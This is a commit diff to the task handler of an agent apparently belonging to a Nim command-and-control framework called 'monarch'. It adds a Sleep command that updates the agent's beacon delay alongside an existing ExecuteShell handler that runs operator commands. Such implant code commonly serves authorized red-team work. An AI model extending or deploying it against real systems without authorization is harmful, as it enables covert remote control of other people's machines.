Implemented sleep command to update sleep delay on agent

agents/monarch/task.nim

@@ -1,11 +1,12 @@
-import base64 
+import base64, strutils
 import ./types 
 import ./commands/commands
 
-proc handleTask*(task: Task): Task = 
+proc handleTask*(task: Task, config: AgentConfig): Task = 
     
     # Handle task command
     case task.command: 
+
     of ExecuteShell: 
         
         let (output, status) = taskShell(task.args)
@@ -20,6 +21,27 @@ proc handleTask*(task: Task): Task =
             status: status
         )
 
+    of Sleep: 
+        # Parse arguments
+        let delay: int = parseInt(task.args[0])
+        
+        # Execute task
+        let (output, status) = taskSleep(delay)
+        
+        # Update sleep delay in agent config
+        if status == Completed: 
+            config.sleep = delay
+
+        # Return result
+        return Task(
+            id: task.id, 
+            agent: task.agent,
+            command: task.command,
+            args: task.args,
+            result: encode(output),
+            status: status
+        )
+
     else: 
         echo "Not implemented"
         return nil